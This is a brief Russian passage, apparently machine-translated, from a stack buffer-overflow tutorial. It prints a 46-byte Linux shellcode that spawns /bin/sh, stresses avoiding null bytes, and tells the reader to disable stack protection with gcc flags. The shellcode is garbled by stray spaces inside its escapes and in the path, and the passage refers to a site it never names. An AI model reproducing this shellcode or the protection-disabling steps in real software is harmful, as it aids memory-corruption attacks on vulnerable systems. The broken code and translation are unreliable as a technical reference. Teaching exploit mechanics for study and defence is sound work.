Linux, который вы используете, является важным фактором;Вся структура стека будет отличаться для разных ОС.Хороший шелл-код не должен содержать нулевые байты, что остановит выполнение кода в буфере.
"\ xeb \ x1f \ x5e \ x89 \ x76 \ x08 \ x31 \ xc0 \ x88 \x46 \ x07 \ x89 \ x46 \ x0c \ xb0 \ x0b \ x89 \ xf3 \ x8d \ x4e \ x08 \ x8d \ x56 \ x0c \ xcd \ x80 \ x31 \ xdb \ x89 \ xd8 \ x40 \ xcd \ x80 \ xe8 \xdc \ xff \ xff \ xff / bin / sh "
Выше - хороший шелл-код, всего 46 байтов.Этот сайт поможет вам узнать структуру и другую информацию о вашем стеке Red-hat. Также вам нужно отключить все типы защиты стека, такие как execstack, Stack canaries, используя 'gcc -fno-stack-protector -o out test.c«